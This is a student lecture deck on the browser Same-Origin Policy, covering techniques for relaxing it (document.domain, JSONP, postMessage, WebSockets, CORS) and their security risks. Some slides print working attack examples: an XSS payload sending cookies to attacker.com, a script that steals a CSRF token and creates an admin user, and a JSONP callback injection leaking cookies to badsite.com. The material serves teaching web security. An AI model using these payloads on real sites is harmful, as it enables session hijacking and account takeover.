SlideShare a Scribd company logo
1 of 52
Download to read offline
The Same-Origin Policy
Master in Engineering in Computer Science
Web Security and Privacy:
Web Application Security Homework
a.y. 2016-17
Student: Fabrizio Farinacci
1
2
Hello!
I AM FABRIZIO FARINACCI
You can find me at:
https://www.linkedin.com/in/fabrizio-farinacci-496679116/
The Same-Origin Policy1
3
SOP in a nutshell
Restrict the access to the elements in the
Document Object Model of a page only to the
scripts having the exact same origin of the
application serving that page.
4
The Origin check
● An origin is defined as a combination of URI
scheme, hostname and port number: so origin
are triples of the form {protocol, host, port}.
● Only if the web pages have the exact same
origin the SOP check will succeed.
● This prevents the unpleasant situation in which a
malicious script from a different origin manages
to access sensitive data on another web page
5
The SOP: an example
URL Outcome Reason
http://store.company.com/dir2/other.html Success
http://store.company.com/dir/inner/another.html Success
https://store.company.com/secure.html Failure Different protocol
http://store.company.com:81/dir/etc.html Failure Different port
http://login.company.com/dir/other.html Failure DIfferent host
http://company.com/dir/other.html Failure Different host
http://store.company.com:80/dir/other.html Depends Port explicit*
6
Ex. Performing the check against the URL: http://store.company.com/dir/page.html
*The outcome depends on the specific browser's implementation of the SOP.
What threats we want to protect from?
● The stateless nature of HTTP requires the use
cookies to preserve authenticated session of users
● Problem: The ownership of those cookies it is
sufficient to prove the user identity to the server
● Cross-Site Request Forgery (CSRF) attacks:
Unauthorized requests are transmitted to the
web-apps exploiting opened user sessions.
● Protection: Web-apps that use JavaScript may use
anti-CSRF techniques relying on same-origin policy.
7
Anti-CSRF protection: an example
● Upon login, Csrf-token is set for the user:
Set-Cookie: Csrf-token=i7XNjC4b8KVok3uw5RftR38Wgp2DFwql;
expires=Tues, 30-May-2017 11:25:33 GMT;
Max-Age=31449600;
Path=/
● To make a request, the Javascript must read the cookie value
and copy it into a X-Csrf-Token header:
X-Csrf-Token: i7XNjC4b8KVok3uw5RftR38Wgp2DFwql
● Protection: Javascript originating from different locations
cannot read the cookie value when returned in the response
or once stored in the DOM. CSRF attacks cannot perform
valid requests without the knowledge of the Csrf-token.
8
Bypassing SOP2
9
Why bypassing SOP?
● Example: a big company with base domain
company.com deploys its services on multiple
subdomains such as store.company.com,
login.company.com and so on.
● Problem: the same-origin policy check will fail
when a script originating from one subdomain
tries to read data from a second subdomain or
even from the original base domain.
● Goal: Weaken the SOP enabling subdomain of the
same base domain to cooperate.
10
Cross-origin requests vs. the SOP
● Cross-Origin Network Access: requests that span
two different origins (e.g. XHR or <img>).
● Those are controlled by the SOP:
○ Cross-origin writes (e.g. forms) allowed
○ Cross-origin reads (e.g. responses) disallowed
○ Cross-origin embeddings allowed, for
example:
■ Images: <img>
■ Javascripts: <script src=”...”></script>
■ Web pages: <frame> or <iframe>
■ …
● AJAX call restrictions favors the policy relaxation!
11
Techniques for bypassing SOP
Techniques for bypassing SOP can be divided in:
● Manipulating the origin of documents:
○ The document.property
● Exploiting allowed cross-origin embeddings:
○ JSONP
○ The iframe hack
● Avoiding browser-to-server cross-origin calls:
○ Cross-document messaging
○ Server side proxies
● Restricting access with origin whitelisting:
○ WebSockets
○ Cross-Origin Resource Sharing
12
Document’s origin manipulation2.1
13
“
General idea:
“Manipulating the declared origin of
resources to succeed in the SOP check”.
14
The document.domain property
● Explicitly change the document.domain property of
the web page using Javascript.
● Example: In a company, login.company.com is the
subdomain in charge of authenticating the users
while store.company.com is the subdomain in
charge of maintaining the virtual-cart of the users.
We would like the two to freely interact, without
having to care about the SOP.
● Solution: change the value of their
document.domain property from their current
domain to a superdomain of their current domain
(i.e. company.com).
15
Changing document.domain property
Running the following Javascript code for both the
pages of the two subdomains achieves the desired
effect of changing the origin of the documents to
company.com, passing the SOP check:
// For the URI http://store.company.com/dir/page.html the
// following sets domain to the string "store.company.com"
var domain = document.domain;
…
// The following changes the value of document.domain
// to the superdomain "company.com"
document.domain = "company.com"
16
The document.domain property (cont’d)
● The document.domain property can be changed only
a to superdomain of the current domain, but in any
case restricted to its base domain.
● Anything belonging to the base domain will have the
permission to access to the DOM of the web pages
affected by the change.
● Problem: The attack surface of the web application is
enlarged. It is sufficient to have another vulnerable
application (e.g. http://exploitable.company.com) to
compromise the security of the other applications
17
Cross-origin embedding exploitation2.2
18
“
General idea:
“Exploit allowed embedding elements
to enable cross-origin data passing”.
19
JSONP: the idea
● Cross-domain script inclusion, used to externally
load Javascript libraries as jQuery, is allowed.
● Idea: Use the <script src="..."></script> element
to carry data in form of JSON from one domain
to another in a cross-origin manner.
● Ex. Data at
htttp://retailer.com/products/[prod-id]:
{
"Name": "FamousProduct",
"Brand": "FamousBrand",
"Price": 29.99,
"InStock": 10
}
20
JSONP: how it works?
● Problem: Javascript a variable assignment to access
the data loaded by the <script> element.
● Solution: Instruct the server, via the callback
parameter to return the data “padded” as a call to a
local function
● The following JSONP call
<script
type="application/javascript"
src="htttp://retailer.com/products/[prod-id]?callback=parseProduct">
</script>
Triggers the following response from the server
parseProduct({"Name": "FamousProduct",
"Brand": "FamousBrand",
"Price": 29.99,
"InStock": 10});
21
JSONP: improving the scheme
● Problem: The previous scheme requires to statically modify
the page to adding <script> elements
● Solution: Use dynamic script element injection to inject
<script> element in the page when upon JSONP calls
● Is it possible to manually develop standalone solution or to
use already existing Javascript Helper Libraries such as
jQuery to inject <script> elements with a single call:
jQuery.getJSON("htttp://retailer.com/products/[prod-id]?callback=?",
function(data) {
// Process the JSON data …
}
);
resulting in the call to an library generated inline function:
jsonp7531527694438({"Name": "FamousProduct",
"Brand": "FamousBrand",
"Price": 29.99,
"InStock": 10});22
JSONP: security concerns
JSONP has some problems:
● Requires excessive trust: It’s essentially a self-inflicted
XSS vulnerability, since the JSONP service can send back
whatever it likes along with or in place of what requested.
● Introduces CSRF vulnerabilities: It enables to perform.
side-effects with GET requests, meaning that those has to
be treated as POST request to avoid introducing flaws.
● Raises mixed-content warnings: The presence of
cross-origin calls pushes browsers to raise warnings.
● Problematic user authentication: It’s difficult to
authenticate the users accessing the service.
23
The iframe hack
● One very old and hacky technique to implement some
form of cross-origin communication is the so-called
iframe hack or URL fragment hack.
● It originates from the following observations:
○ A parent window cannot read anything from a child
window on a different domain but...
○ A parent window can traverse any known elements
in each iframe it contains and…
○ parent window can set properties of iframes.
● So we get that: a parent window can navigate to iframes
belonging to its domain (even if their parents belong to
another one) and read/write the properties of this one.
24
The iframe hack : how it works?
● This enables to create a cross-origin channel:
○ The 2nd level iframe, sets the URL property of
the innermost iframe by changing what's after
the #, so that the page doesn't reload, and
writing the message for the uppermost iframe;
25
The iframe hack : how it works? (con’t)
● This enables to create a cross-origin channel:
○ The uppermost iframe reads the URL property
of the innermost iframe from its own domain
and reads the message from the other domain.
26
The iframe hack : concerns and limitations
● It’s a simple and very hacky technique, but:
○ There may be compatibility issues with
modern browsers
○ Size limitations of the exchanged message
○ Since the input is coming from a different
domain, this must be properly sanitized to
avoid the risk of XSS attacks.
27
Cross-origin browser-to-server avoidance2.3
28
“
General idea:
“Avoid making the browser send the
cross-origin request while providing other
means for cross origin communication”.
29
Cross-document messaging
● Idea: Use the HTML5 window.postMessage() method
to circumvent the SOP restrictions
● Calling window.postMessage() on a window reference,
enables a script running on a second window to pass
a message to a script running on a second page,
regardless of the script origin.
● The syntax of a window.postMessage() call is:
targetWindow.postMessage(message, targetOrigin, [transfer]);
○ targetWindow: a reference to the window
○ message: the serialized data to be sent
○ targetOrigin: the expected origin of targetWindow
○ transfer (Optional): sequence of object whose
ownership must be transferred to targetWindow
30
Cross-document messaging (cont’d)
● To listen for dispatched messages, the targetWindow
must register a user-defined listener:
window.addEventListener("message", receiveMessage, false);
function receiveMessage(event) {
// Check the origin is the expected one
if (event.origin !== "http://my-domain.com:8080")
return;
// Do something with the message …
}
● The messages have the following properties:
○ data: the message coming from the other window;
○ origin: the origin of the window sending the
message at the moment postMessage() was called;
○ source: a reference to the sender window.
31
Cross-document messaging: security concerns
To avoid that the so established cross-origin channels gets
misused, the following good practices must be fulfilled:
● If you don't expect to receive messages, do not add event
listener to handle MessageEvent
● Always verify the sender identity, using the origin and
possibly the source property. This because the origin property
gives no guarantee on the current origin of the window that
must be verified by opening a channel toward the source
meant for the received origin.
● Always specify an exact targetOrigin, don’t use “*”
● Always sanitize the received message, to prevent XSS attacks
32
Server side proxies
● Problem: The SOP prevents the browser to send
cross-origin requests.
● Solution: Deploy a proxy server and make this
one perform the cross-origin request on behalf
of the browser.
● Problem: The proxy must be secured against
attempts to compromise it. The security of the
application is the same as the security of the
proxy: if this gets compromised, then the
application gets compromised too.
33
Origin whitelisting2.4
34
“
General idea:
“Employ a origin whitelist at server side to
decide whether to accept a request or no”.
35
WebSockets
● Idea: Use the HTML5 WebSocket technology to
create full-duplex channels not subject to the SOP
// Open a websocket, possibly using the specified subprotocols
var ws = new WebSocket('ws://ws.server.com/ws', ['soap', 'xmpp']);
// When the connection is open…
ws.onopen = function( ) {
// Do something…
};
// When there's an error…
ws.onerror = function(error) {
// Do something…
};
// When receiving a message…
ws.onmessage = function(msg) {
// Do something…
};
// Send a message or data
ws.send(/* Put here your string or binary data */);36
The WebSocket protocol
● To use WebSockets it’s required to perform a
protocol upgrade to switch from http:// or https://
to ws:// or wss://, through a client-server handshake
Client request:
GET /ws HTTP/1.1
Host: ws.server.com
…
Cookie: session_id=i7XNjC4b8KVok3uw5RftR38Wgp2DFwql
Sec-WebSocket-Version: 13
Origin: ws.client.com
Sec-WebSocket-Key: x7nPlaiHMGDBuJeD6l7y/Q==Sec-
WebSocket-Protocol: soap, xmpp
Connection: Upgrade
Upgrade: websocket
Server response:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
Sec-WebSocket-Protocol: soap
37
WebSockets: security concerns
In the WebSocket handshake, are sent:
● An Origin header, indicating the request origin;
● A cookie, used provide a form of client authentication: the
protocol doesn't specify any authentication mechanism, any
method available at a generic HTTP server is fine.
● A Sec-WebSocket-Key header, created and injected by the
browser to prove the handshake validity;
It is recommended to:
● Always check the origin against whitelists of allowed ones
● Use session-unique unguessable tokens (e.g. CSRF tokens)
Otherwise we risk a Cross-Site WebSocket Hijacking (CSWSH): a
CSRF attack with full bi-directional capabilities exploiting the
session of unconscious users.
38
Cross-Origin Resource Sharing
● The W3C Recommended Standard for performing
cross-origin requests
● Allows servers to setup cross-origin access control rules to
enable cross-origin data transfer in a controlled way.
39
CORS: simple vs. preflight requests
The request may follow two different paths:
● standard latency, employing the traditional one
request/one response pattern of HTTP requests
● added latency, to perform the CORS checks, employing a
so-called preflight request that antecedes the real request
We have a simple request when all the following holds:
● We use an HTTP method among GET, HEAD and POST
● Additional headers are CORS-safelisted request-headers
● The allowed values for the Content-Type header are:
application/x-www-form-urlencoded
multipart/form-data
text/plain
In the remaining cases we are in front of a preflight request.
40
CORS: the headers
● CORS defines a set of custom headers to be bundled within
request/responses by the browser/server respectively.
● The header specifies the origins that have the permission to
send the request to a resource. In the end is the browser that
must support and enforce the restrictions.
● The most important ones are:
○ Origin, specifying the origin and sent in each request
○ Access-Control-Allow-Origin, specifying the set of allowed
origins (or *) and sent in each response
41
Request:
GET /resources/resource HTTP/1.1
Host: b-domain.com
// Other allowed headers
Origin: http://a-domain.com
// Content of the request
Response:
HTTP/1.1 200 OK
…
Access-Control-Allow-Origin: http://a-domain.com | *
// Content of the response
CORS: preflight requests
● Preflight requests are addressed by the browser by
anteceding an OPTION request to the real request
● The response is examined to decide whether it is permitted to
execute the request (performed then as a simple one) or not
Preflight request:
OPTIONS /api/api-method/ HTTP/1.1
Host: b-domain.com
…
Origin: http://a-domain.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Content-Type
Preflight response:
HTTP/1.1 200 OK
…
Access-Control-Allow-Origin: http://a-domain.com
Access-Control-Allow-Methods: POST, OPTIONS
Access-Control-Allow-Headers: Content-Type
Access-Control-Max-Age: 86400
Access-Control-Allow-Credentials: true
42
CORS: observations
CORS enables:
● Web servers to perform a fine grain whitelisted control over
cross-origin request extending the support to cross-domain
AJAX-like invocations (e.g. XHR)
● To perform credentialed AJAX-like calls, securing them
against the possibility of CSRF attacks (so cookie hijacking),
by means of the Access-Control-Allow-Credentials header
So, it is considered the “safe” way of bypassing SOP… However:
● You must avoid the use of the “*”, that allows all the domains
● Strong anti-CSRF authentication mechanism must be
employed to prevent CSRF attacks and session hijacking
● You must use up-to-date browsers: is the browser that must
support and enforce the restrictions specified by the server
43
SOP and Session Hijacking3
44
XSS, CSRF and Session Hijacking
● Problem: The attacker wants to hijack the user session using
XSS and CSRF attacks, possibly in combined way
● Goal: Steal the user cookie or exploit it to handcraft request
that are performed without the user consent
Example: XSS attack to steal the user cookie
HTTP/1.1 200 OK
…
Set-Cookie: session_id=i7XNjC4b8KVok3uw5RftR38Wgp2DFwql;
expires=Tues, 30-May-2017 11:25:33 GMT;
Max-Age=31449600;
Path=/
The cookie gets stolen when visiting a compromised page of the website:
<script>// <![CDATA[
document.write('
<img src="http://attacker.com/stealer.php?cookie="+
escape(document.cookie)>');
// ]]></script>45
Session Hijacking: A well-crafted attack
● Servers may protect their cookies from Javascript (using
the HttpOnly header) and enforce additional protection
against CSRF attacks (using CSRF-Tokens) but...
● In presence of vulnerabilities (e.g. XSS vulnerabilities),
knowledge of the target and a combination of CSRF and
XSS attacks session hijacking attacks may still take place
Ex. A well crafted attack against a web application
1. Make a POST request to “/admin/userControlPanel.php” to
obtain the X-CSRF-Token:
POST /admin/userControlPanel.php HTTP/1.1
Host: vuln.target.com…
Cookie: session_id=i7XNjC4b8KVok3uw5RftR38Wgp2DFwql
46
Session Hijacking: A well-crafted attack (cont’d)
2. Receive the response with the X-CSRF-Token:
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge; charset=utf-8">
<meta name="csrf-param" content="authenticity_token" />
<meta name="csrf-token"
content="TnVIYXJib3JTZWN1cml0eTpEX0t1ZG9zVG9Zb3VGb3JEZWNv="
/>
</html>
3. Make the authenticated request to “/admin/addUser.php”:
POST /admin/addUser.php HTTP/1.1
Host: vuln.target.com
…
X-CSRF-Token: TnVIYXJib3JTZWN1cml0eTpEX0t1ZG9zVG9Zb3VGb3JEZWNv
Cookie: session_id=i7XNjC4b8KVok3uw5RftR38Wgp2DFwql
…
user=Mallory&pass=psw&admin=true47
Session Hijacking: A well-crafted attack (cont’d)
The previous chain of request can be carried out by exploiting a
XSS vulnerability that enables the following XSS persistent attack:
<script>// <![CDATA[
data = "user=hacker&pass=myPassword&admin=true;
function requestA() {
xhr = new XMLHttpRequest();
xhr.open("GET", "/admin/userControlPanel.php", true);
xhr.onreadystatechange = function () { if (xhr.readyState == 4 && xhr.status == 200) {
var src = xhr.responseText;
p = /name=n"csrf-tokenn" content=n"(.*)(?=n")/;
var token = src.match(p)[1]; requestB(token);} }
xhr.send();
}
function requestB(token) {
xhrb = new XMLHttpRequest();
xhrb.open("POST", "/admin/addUser.php", true);
xhrb.setRequestHeader("X-CSRF-Token", token);
xhrb.setRequestHeader("content-type","application/x-www-form-urlencoded;charset=UTF-8");
xhrb.setRequestHeader("Content-length", data.length);
xhrb.setRequestHeader("Connection", "close"); xhrb.send(data);
}
RequestA();
// ]]></script>
48
The role of SOP
● The previous attack cannot be stopped, no matter if SOP
it is implemented or not. But...
● It requires the presence of severe XSS vulnerabilities and
deep knowledge of the application to attack
● In most of the cases, if the application is implementing
the proper protections (i.e. HttpOnly flag +
CSRF-Tokens), the SOP will protect against those
attacks.
● The real problems for the SOP arises when web
application developers decide to bypass the SOP: this, if
not done in the proper way, will very likely introduce
vulnerabilities that can be leveraged by attackers.
49
Weakening SOP: the JSONP case
● The most typical case is JSONP: a very famous and unsafe
solution that is very like a “self-inflicted” XSS vulnerability:
http://yoursite.com/jsonp.php?callback=(
function() {
$(document.body).append(
'<script
type="text/javascript"
src="http://badsite.com/?loot='+document.cookie+'">
</script>');
})//
That triggers the following code execution:
(function() {
$(document.body).append(
'<script
type="text/javascript"
src="http://badsite.com/?loot='+document.cookie+'">
</script>');
})//("f"foo": data, ...g");
50
Weakening SOP: conclusions
● It’s pretty obvious: if we bypass the controls the
SOP imposes, we have to remedy by controlling in
other ways the origin and the effects of a request.
● We could show other examples of session
hijacking attacks against each of the above
mentioned solutions but the core issues affecting
all of them is the same:
“Avoiding the restrictions means reducing the quality and the
variety of controls performed: to be protected against attacks
(such as cookie hijacking attacks) those controls must be
enforced and performed in other ways.”
51
Thanks!
ANY QUESTIONS?
52
You can find me on LinkedIn:
Fabrizio Farinacci: https://www.linkedin.com/in/fabrizio-farinacci-496679116/

More Related Content

What's hot

Password cracking and brute force
Password cracking and brute forcePassword cracking and brute force
Password cracking and brute forcevishalgohel12195
 
Understanding JWT Exploitation
Understanding JWT ExploitationUnderstanding JWT Exploitation
Understanding JWT ExploitationAkshaeyBhosale
 
Https presentation
Https presentationHttps presentation
Https presentationpatel jatin
 
Man in The Middle Attack
Man in The Middle AttackMan in The Middle Attack
Man in The Middle AttackDeepak Upadhyay
 
Mobile Application Security
Mobile Application SecurityMobile Application Security
Mobile Application Securitycclark_isec
 
API Security Best Practices & Guidelines
API Security Best Practices & GuidelinesAPI Security Best Practices & Guidelines
API Security Best Practices & GuidelinesPrabath Siriwardena
 
Different types of attacks in internet
Different types of attacks in internetDifferent types of attacks in internet
Different types of attacks in internetRohan Bharadwaj
 
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web TechnologiesOWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web TechnologiesFrans Rosén
 
Brute force attack
Brute force attackBrute force attack
Brute force attackjoycruiser
 
HTTP Request and Response Structure
HTTP Request and Response StructureHTTP Request and Response Structure
HTTP Request and Response StructureBhagyashreeGajera1
 
Internet security
Internet securityInternet security
Internet securityat1211
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scriptingkinish kumar
 
OAuth2 - Introduction
OAuth2 - IntroductionOAuth2 - Introduction
OAuth2 - IntroductionKnoldus Inc.
 

What's hot (20)

Burp suite
Burp suiteBurp suite
Burp suite
 
Password cracking and brute force
Password cracking and brute forcePassword cracking and brute force
Password cracking and brute force
 
CORS and (in)security
CORS and (in)securityCORS and (in)security
CORS and (in)security
 
Secure Session Management
Secure Session ManagementSecure Session Management
Secure Session Management
 
Understanding JWT Exploitation
Understanding JWT ExploitationUnderstanding JWT Exploitation
Understanding JWT Exploitation
 
OAuth 2
OAuth 2OAuth 2
OAuth 2
 
Https presentation
Https presentationHttps presentation
Https presentation
 
REST & RESTful Web Services
REST & RESTful Web ServicesREST & RESTful Web Services
REST & RESTful Web Services
 
Man in The Middle Attack
Man in The Middle AttackMan in The Middle Attack
Man in The Middle Attack
 
Mobile Application Security
Mobile Application SecurityMobile Application Security
Mobile Application Security
 
API Security Best Practices & Guidelines
API Security Best Practices & GuidelinesAPI Security Best Practices & Guidelines
API Security Best Practices & Guidelines
 
Different types of attacks in internet
Different types of attacks in internetDifferent types of attacks in internet
Different types of attacks in internet
 
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web TechnologiesOWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
 
Brute force attack
Brute force attackBrute force attack
Brute force attack
 
HTTP Request and Response Structure
HTTP Request and Response StructureHTTP Request and Response Structure
HTTP Request and Response Structure
 
Internet security
Internet securityInternet security
Internet security
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
SSRF workshop
SSRF workshop SSRF workshop
SSRF workshop
 
OAuth2 - Introduction
OAuth2 - IntroductionOAuth2 - Introduction
OAuth2 - Introduction
 
Ssrf
SsrfSsrf
Ssrf
 

Similar to The Same-Origin Policy

DEF CON 27 - BEN SADEGHIPOUR - owning the clout through ssrf and pdf generators
DEF CON 27 - BEN SADEGHIPOUR  - owning the clout through ssrf and pdf generatorsDEF CON 27 - BEN SADEGHIPOUR  - owning the clout through ssrf and pdf generators
DEF CON 27 - BEN SADEGHIPOUR - owning the clout through ssrf and pdf generatorsFelipe Prado
 
Postcards from the post xss world- content exfiltration null
Postcards from the post xss world- content exfiltration nullPostcards from the post xss world- content exfiltration null
Postcards from the post xss world- content exfiltration nullPiyush Pattanayak
 
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...Divyanshu
 
Going Beyond Cross Domain Boundaries (jQuery Bulgaria)
Going Beyond Cross Domain Boundaries (jQuery Bulgaria)Going Beyond Cross Domain Boundaries (jQuery Bulgaria)
Going Beyond Cross Domain Boundaries (jQuery Bulgaria)Ivo Andreev
 
JSFest 2019: Technology agnostic microservices at SPA frontend
JSFest 2019: Technology agnostic microservices at SPA frontendJSFest 2019: Technology agnostic microservices at SPA frontend
JSFest 2019: Technology agnostic microservices at SPA frontendVlad Fedosov
 
RIA Cross Domain Policy
RIA Cross Domain PolicyRIA Cross Domain Policy
RIA Cross Domain PolicyNSConclave
 
Dom Hackking & Security - BlackHat Preso
Dom Hackking & Security - BlackHat PresoDom Hackking & Security - BlackHat Preso
Dom Hackking & Security - BlackHat PresoShreeraj Shah
 
Webportal document
Webportal documentWebportal document
Webportal documentSumit Sahu
 
WWW/Internet 2011 - A Framework for Web 2.0 Secure Widgets
WWW/Internet 2011 - A Framework for Web 2.0 Secure WidgetsWWW/Internet 2011 - A Framework for Web 2.0 Secure Widgets
WWW/Internet 2011 - A Framework for Web 2.0 Secure WidgetsVagner Santana
 
Refactoring to a Single Page Application
Refactoring to a Single Page ApplicationRefactoring to a Single Page Application
Refactoring to a Single Page ApplicationCodemotion
 
Yarochkin, kropotov, chetvertakov tracking surreptitious malware distributi...
Yarochkin, kropotov, chetvertakov   tracking surreptitious malware distributi...Yarochkin, kropotov, chetvertakov   tracking surreptitious malware distributi...
Yarochkin, kropotov, chetvertakov tracking surreptitious malware distributi...DefconRussia
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeJeremiah Grossman
 
Web security: Securing untrusted web content at browsers
Web security: Securing untrusted web content at browsersWeb security: Securing untrusted web content at browsers
Web security: Securing untrusted web content at browsersPhú Phùng
 
Silverlight2 Security
Silverlight2 SecuritySilverlight2 Security
Silverlight2 SecurityReagan Hwang
 
Website & Internet + Performance testing
Website & Internet + Performance testingWebsite & Internet + Performance testing
Website & Internet + Performance testingRoman Ananev
 
Top security threats to Flash/Flex applications and how to avoid them
Top security threats to Flash/Flex applications and how to avoid themTop security threats to Flash/Flex applications and how to avoid them
Top security threats to Flash/Flex applications and how to avoid themElad Elrom
 
Ten practical ways to improve front-end performance
Ten practical ways to improve front-end performanceTen practical ways to improve front-end performance
Ten practical ways to improve front-end performanceAndrew Rota
 

Similar to The Same-Origin Policy (20)

New web attacks-nethemba
New web attacks-nethembaNew web attacks-nethemba
New web attacks-nethemba
 
DEF CON 27 - BEN SADEGHIPOUR - owning the clout through ssrf and pdf generators
DEF CON 27 - BEN SADEGHIPOUR  - owning the clout through ssrf and pdf generatorsDEF CON 27 - BEN SADEGHIPOUR  - owning the clout through ssrf and pdf generators
DEF CON 27 - BEN SADEGHIPOUR - owning the clout through ssrf and pdf generators
 
Postcards from the post xss world- content exfiltration null
Postcards from the post xss world- content exfiltration nullPostcards from the post xss world- content exfiltration null
Postcards from the post xss world- content exfiltration null
 
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
 
Going Beyond Cross Domain Boundaries (jQuery Bulgaria)
Going Beyond Cross Domain Boundaries (jQuery Bulgaria)Going Beyond Cross Domain Boundaries (jQuery Bulgaria)
Going Beyond Cross Domain Boundaries (jQuery Bulgaria)
 
JSFest 2019: Technology agnostic microservices at SPA frontend
JSFest 2019: Technology agnostic microservices at SPA frontendJSFest 2019: Technology agnostic microservices at SPA frontend
JSFest 2019: Technology agnostic microservices at SPA frontend
 
Rebuilding our Foundation
Rebuilding our FoundationRebuilding our Foundation
Rebuilding our Foundation
 
RIA Cross Domain Policy
RIA Cross Domain PolicyRIA Cross Domain Policy
RIA Cross Domain Policy
 
Dom Hackking & Security - BlackHat Preso
Dom Hackking & Security - BlackHat PresoDom Hackking & Security - BlackHat Preso
Dom Hackking & Security - BlackHat Preso
 
Webportal document
Webportal documentWebportal document
Webportal document
 
Refactoring to a SPA
Refactoring to a SPARefactoring to a SPA
Refactoring to a SPA
 
WWW/Internet 2011 - A Framework for Web 2.0 Secure Widgets
WWW/Internet 2011 - A Framework for Web 2.0 Secure WidgetsWWW/Internet 2011 - A Framework for Web 2.0 Secure Widgets
WWW/Internet 2011 - A Framework for Web 2.0 Secure Widgets
 
Refactoring to a Single Page Application
Refactoring to a Single Page ApplicationRefactoring to a Single Page Application
Refactoring to a Single Page Application
 
Yarochkin, kropotov, chetvertakov tracking surreptitious malware distributi...
Yarochkin, kropotov, chetvertakov   tracking surreptitious malware distributi...Yarochkin, kropotov, chetvertakov   tracking surreptitious malware distributi...
Yarochkin, kropotov, chetvertakov tracking surreptitious malware distributi...
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safe
 
Web security: Securing untrusted web content at browsers
Web security: Securing untrusted web content at browsersWeb security: Securing untrusted web content at browsers
Web security: Securing untrusted web content at browsers
 
Silverlight2 Security
Silverlight2 SecuritySilverlight2 Security
Silverlight2 Security
 
Website & Internet + Performance testing
Website & Internet + Performance testingWebsite & Internet + Performance testing
Website & Internet + Performance testing
 
Top security threats to Flash/Flex applications and how to avoid them
Top security threats to Flash/Flex applications and how to avoid themTop security threats to Flash/Flex applications and how to avoid them
Top security threats to Flash/Flex applications and how to avoid them
 
Ten practical ways to improve front-end performance
Ten practical ways to improve front-end performanceTen practical ways to improve front-end performance
Ten practical ways to improve front-end performance
 

More from Fabrizio Farinacci

A taxonomy of botnet detection approaches
A taxonomy of botnet detection approachesA taxonomy of botnet detection approaches
A taxonomy of botnet detection approachesFabrizio Farinacci
 
Project in malware analysis:C2C
Project in malware analysis:C2CProject in malware analysis:C2C
Project in malware analysis:C2CFabrizio Farinacci
 
Classifying IoT malware delivery patterns for attack detection
Classifying IoT malware delivery patterns for attack detectionClassifying IoT malware delivery patterns for attack detection
Classifying IoT malware delivery patterns for attack detectionFabrizio Farinacci
 
A Taxonomy of Botnet Detection Approaches
A Taxonomy of Botnet Detection ApproachesA Taxonomy of Botnet Detection Approaches
A Taxonomy of Botnet Detection ApproachesFabrizio Farinacci
 
Deanonymize Tor Hidden Services
Deanonymize Tor Hidden ServicesDeanonymize Tor Hidden Services
Deanonymize Tor Hidden ServicesFabrizio Farinacci
 
RecipeX - Your personal caregiver and lifestyle makeover
RecipeX - Your personal caregiver and lifestyle makeoverRecipeX - Your personal caregiver and lifestyle makeover
RecipeX - Your personal caregiver and lifestyle makeoverFabrizio Farinacci
 
RecipeX - Your personal caregiver and lifestyle makeover
RecipeX - Your personal caregiver and lifestyle makeoverRecipeX - Your personal caregiver and lifestyle makeover
RecipeX - Your personal caregiver and lifestyle makeoverFabrizio Farinacci
 
Redis - Usability and Use Cases
Redis - Usability and Use CasesRedis - Usability and Use Cases
Redis - Usability and Use CasesFabrizio Farinacci
 

More from Fabrizio Farinacci (8)

A taxonomy of botnet detection approaches
A taxonomy of botnet detection approachesA taxonomy of botnet detection approaches
A taxonomy of botnet detection approaches
 
Project in malware analysis:C2C
Project in malware analysis:C2CProject in malware analysis:C2C
Project in malware analysis:C2C
 
Classifying IoT malware delivery patterns for attack detection
Classifying IoT malware delivery patterns for attack detectionClassifying IoT malware delivery patterns for attack detection
Classifying IoT malware delivery patterns for attack detection
 
A Taxonomy of Botnet Detection Approaches
A Taxonomy of Botnet Detection ApproachesA Taxonomy of Botnet Detection Approaches
A Taxonomy of Botnet Detection Approaches
 
Deanonymize Tor Hidden Services
Deanonymize Tor Hidden ServicesDeanonymize Tor Hidden Services
Deanonymize Tor Hidden Services
 
RecipeX - Your personal caregiver and lifestyle makeover
RecipeX - Your personal caregiver and lifestyle makeoverRecipeX - Your personal caregiver and lifestyle makeover
RecipeX - Your personal caregiver and lifestyle makeover
 
RecipeX - Your personal caregiver and lifestyle makeover
RecipeX - Your personal caregiver and lifestyle makeoverRecipeX - Your personal caregiver and lifestyle makeover
RecipeX - Your personal caregiver and lifestyle makeover
 
Redis - Usability and Use Cases
Redis - Usability and Use CasesRedis - Usability and Use Cases
Redis - Usability and Use Cases
 

Recently uploaded

main PPT.pptx of girls hostel security using rfid
main PPT.pptx of girls hostel security using rfidmain PPT.pptx of girls hostel security using rfid
main PPT.pptx of girls hostel security using rfidNikhilNagaraju
 
microprocessor 8085 and its interfacing
microprocessor 8085  and its interfacingmicroprocessor 8085  and its interfacing
microprocessor 8085 and its interfacingjaychoudhary37
 
ZXCTN 5804 / ZTE PTN / ZTE POTN / ZTE 5804 PTN / ZTE POTN 5804 ( 100/200 GE Z...
